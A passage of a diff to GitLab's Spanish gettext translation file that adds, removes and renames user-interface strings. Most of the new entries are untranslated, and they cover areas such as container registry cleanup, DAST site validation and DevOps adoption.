@@ -3127,6 +3255,9 @@ msgstr "Se ha producido un error al suscribirse a las notificaciones."
msgid "An error occurred while triggering the job."
msgstr "Se ha producido un error al ejecutar el trabajo."
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr "Se ha producido un error al intentar ejecutar un nuevo pipeline para este Merge Request."
@@ -3145,6 +3276,9 @@ msgstr "Se ha producido un error al actualizar las etiquetas."
msgid "An error occurred while updating the comment"
msgstr "Se ha producido un error al actualizar el comentario"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "Se ha producido un error al validar la ruta del grupo"
@@ -3331,6 +3465,12 @@ msgstr "Aplicar cambios"
msgid "Apply suggestion"
msgstr "Aplicar sugerencia"
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr "Aplicar sugerencias"
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{count} aprobación requerida para %{membersCount}"
msgstr[1] "%{count} aprobaciones requeridas para %{membersCount}"
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr "Aprobadores"
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr "Archivado"
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr "Archivado en esta versión"
@@ -3525,9 +3671,6 @@ msgstr "¿Está seguro de que desea eliminar esta tablero?"
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "¿Está seguro de que desea borrar este dispositivo? Esta acción no se puede deshacer."
-msgid "Are you sure you want to delete this list?"
-msgstr "¿Está seguro que desea eliminar esta lista?"
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "¿Estás seguro que deseas eliminar esta programación del pipeline?"
@@ -3578,6 +3721,9 @@ msgstr "¿Está seguro de que desea eliminar la licencia?"
msgid "Are you sure you want to remove this identity?"
msgstr "¿Está seguro de que desea eliminar esta identidad?"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "¿Está seguro que desea reinicializar el token de registro?"
@@ -3852,6 +3998,12 @@ msgstr "Autenticar"
msgid "Authenticate with GitHub"
msgstr "Autenticar con GitHub"
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr "Autenticando"
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr "Contactar con ventas"
msgid "BillingPlan|Upgrade"
msgstr "Actualizar"
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr "Bloquear usuario"
msgid "Blocked"
msgstr "Bloqueado"
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr "Incidencia bloqueada"
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr "Compre más minutos de pipelines"
msgid "By %{user_name}"
msgstr "Por %{user_name}"
-msgid "By URL"
-msgstr "Por URL"
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr "Configuración de CI/CD"
msgid "CI Lint"
msgstr "Cl Lint"
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr "Configuración de CI"
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr "No se puede crear el fragmento de código: %{err}"
@@ -4752,6 +4924,12 @@ msgstr "Canary"
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr "Canary Deployment es una estrategia de CI, donde solo una pequeña porción se actualiza a la nueva versión de tu aplicación."
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Cancelar"
@@ -4785,9 +4963,6 @@ msgstr "No se puede crear el informe de abuso. Este usuario ha sido bloqueado."
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr "Cambios"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr "No se realizarán los cambios hasta que el índice sea %{link_start}recreado%{link_end}."
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr "Verficar de nuevo"
msgid "Check feature availability on namespace plan"
msgstr "Compruebe la disponibilidad de la función en el plan de espacio de nombres"
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "Compruebe la documentación %{docs_link_start}%{docs_link_end}."
@@ -5202,12 +5380,6 @@ msgstr "La subtarea épica no existe."
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "Elija un branch/tag (por ejemplo, %{master}) o introduzca un commit (por ejemplo, %{sha}) para ver lo qué ha cambiado o para crear un merge request."
@@ -5241,6 +5413,9 @@ msgstr "Seleccione un archivo…"
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Seleccione el grupo de nivel superior para las importaciones de su repositorio."
@@ -5409,7 +5584,7 @@ msgstr "Etiqueta de clasificación (opcional)"
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "no está disponible: %{reason}"
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr "Limpiar peso."
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,8 +5677,8 @@ msgstr "Clonar con SSH"
msgid "Close"
msgstr "Cerrar"
-msgid "Close %{display_issuable_type}"
-msgstr "Cerrar %{display_issuable_type}"
+msgid "Close %{issueType}"
+msgstr ""
msgid "Close %{tabname}"
msgstr "Cerrar %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr "Cerrar %{tabname}"
msgid "Close epic"
msgstr "Cerrar épica"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr "Cerrar hito"
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} se instaló correctamente en su clúster de Kubernetes"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr "Modo de bloqueo"
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificado CA"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr "Administrador de certificados"
@@ -5970,9 +6148,6 @@ msgstr "ClusterIntegration|Grupo de clúster"
msgid "ClusterIntegration|HTTP Error"
msgstr "Error HTTP"
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr "Más información sobre los grupos de clústeres de Kubernetes"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Más información sobre los grupos de clústeres de Kubernetes"
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "Cargando roles de IAM"
@@ -6408,7 +6586,7 @@ msgstr "La URL utilizada para acceder a la API de Kubernetes."
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr "La dirección IP asociada y todos los servicios implementados seran eliminados y no se podrán restaurar. Al desinstalar Knative también se eliminará Istio de su clúster. Estos cambios no afectarán a ninguna de sus otras aplicaciones."
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr "Commit (al editar el mensaje de confirmación)"
msgid "Commit Message"
msgstr "Mensaje del commit"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr "Commit borrado"
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr "Creado por:"
@@ -7046,6 +7224,9 @@ msgstr "Tiempo de espera de conexión agotado"
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr "Póngase en contacto con ventas para actualizar"
@@ -7070,7 +7251,7 @@ msgstr "El registro de contenedores no está activado en esta instancia de GitLa
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr "Construir una imagen"
@@ -7173,6 +7357,15 @@ msgstr "Etiquetas de la imagen"
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr "Iniciar sesión"
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr "ContainerRegistry|Número de etiquetas a retener:"
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] "Eliminar etiqueta"
msgstr[1] "Eliminar etiquetas"
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr "Lo sentimos, su filtro no ha producido ningún resultado."
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr "Política de caducidad de las etiquetas"
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr "Etiqueta marcada correctamente para su eliminación."
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr "Etiquetas marcadas correctamente para su eliminación."
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr "Personalizar colores"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr "Personalice cómo las direcciones de correo electrónico y los nombres de usuario de FogBugz se importan en GitLab. En el siguiente paso, podrá seleccionar los proyectos que desea importar."
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr "Personalice cómo las direcciones de correo electrónico y los nombres de usuario de FogBugz se importan en GitLab. En el siguiente paso, podrá seleccionar los proyectos que desea importar."
-
msgid "Customize icon"
msgstr "Personalizar icono"
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr "Merge request creado"
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr "Lista desplegable de las etapas"
-msgid "DAG"
-msgstr "DAG"
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr "Límite predeterminado de proyectos"
msgid "Default stages"
msgstr "Etapas predeterminadas"
-msgid "Default: Directly import the Google Code email address or username"
-msgstr "Por defecto: Importar directamente el nombre de usuario o la dirección de correo electrónico de Google Code"
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr "Por defecto: Asignar un ID de cuenta de FogBugz a un nombre completo"
@@ -8604,8 +8851,8 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
-msgstr "¿Está seguro de que quiere ejecutar %{jobName} inmediatamente? De lo contrario, este trabajo se ejecutará automáticamente una vez que finalice el temporizador."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
+msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
msgstr "¿Está seguro de que quiere ejecutar %{job_name} inmediatamente? De lo contrario, este trabajo se ejecutará automáticamente una vez que finalice el temporizador."
@@ -8688,9 +8935,6 @@ msgstr "Eliminar la lista de usuarios"
msgid "Delete variable"
msgstr "Eliminar variable"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "Se ha producido un error al eliminar el repositorio del proyecto. Por favor, inténtelo de nuevo o póngase en contacto con el administrador."
@@ -9096,6 +9340,9 @@ msgstr "falló"
msgid "Deployment|running"
msgstr "en ejecución"
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr "exitoso"
@@ -9114,6 +9361,9 @@ msgstr "Describa el requisito aquí"
msgid "Description"
msgstr "Descripción"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr "Descripción analizada con %{link_start}GitLab Flavored Markdown%{link_end}"
@@ -9150,6 +9400,9 @@ msgstr "%{filename} no ha cambiado."
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "Agregar un diseño con el mismo nombre de archivo reemplaza el archivo en una nueva versión."
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr "Descartar comentario"
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr "Se ha producido un error al cargar un nuevo diseño. Por favor, inténtelo de nuevo."
@@ -9285,15 +9541,9 @@ msgstr "Detalles (por defecto)"
msgid "Detect host keys"
msgstr "Detectar las claves del host"
-msgid "DevOps"
-msgstr "DevOps"
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr "Límites de contenido del diff"
@@ -9500,9 +9819,6 @@ msgstr "Mostrar fuente"
msgid "Do not display offers from third parties within GitLab"
msgstr "No mostrar ofertas de terceros dentro de GitLab"
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr "¿Desea personalizar cómo se importan en GitLab las direcciones de correo electrónico y los nombres de usuario de Google Code?"
-
msgid "Dockerfile"
msgstr "Dockerfile"
@@ -9575,9 +9891,6 @@ msgstr "Descargar artefactos"
msgid "Download as"
msgstr "Descargar como"
-msgid "Download as CSV"
-msgstr "Descargar como CSV"
-
msgid "Download codes"
msgstr "Descargar codigos"
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr "Fecha de vencimiento"
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr "Editar incidencias"
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr "Notificación por correo electrónico"
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr "No se ha podido enviar el correo electrónico"
@@ -9839,6 +10164,9 @@ msgstr "Envía el estado de los pipelines a una lista de destinatarios."
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr "Parece que el correo electrónico está en blanco. Asegúrese de que su respuesta esté en la parte superior del correo electrónico, no podemos procesar las respuestas en línea."
@@ -9911,7 +10239,7 @@ msgstr "Archivo vacío"
msgid "Enable"
msgstr "Habilitar"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr "Habilitar correos HTML"
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr "Habilitar PlantUML"
@@ -10280,6 +10611,9 @@ msgstr "Environments|Mostrando todos los resultados."
msgid "Environments|Delete"
msgstr "Eliminar"
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr "Eliminar entorno"
@@ -10391,6 +10725,9 @@ msgstr "Detener entorno"
msgid "Environments|Stopping"
msgstr "Deteniendo"
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr "Se ha producido un error al cargar la plantilla."
msgid "Error loading viewer"
msgstr "Se ha producido un error al cargar el visor"
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr "Se ha producido un error al obtener los datos de la barra lateral"
@@ -10667,6 +11001,9 @@ msgstr "Se ha producido un error. El usuario no estaba desbloqueado"
msgid "Error occurred. User was not unlocked"
msgstr "Se ha producido un error. El usuario no estaba desbloqueado"
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr "Se ha producido un error al renderizar la vista previa de markdown"
@@ -10745,6 +11082,9 @@ msgstr "Para habilitar la selección del proyecto, ingrese un token de autentica
msgid "Errors"
msgstr "Errores"
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr "Errores:"
@@ -10979,6 +11319,9 @@ msgstr "Exportar"
msgid "Export as CSV"
msgstr "Exportar como CSV"
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr "Exportar grupo"
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr "Se ha producido un erro al crear una rama para esta incidencia. Por favor, inténtalo de nuevo."
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
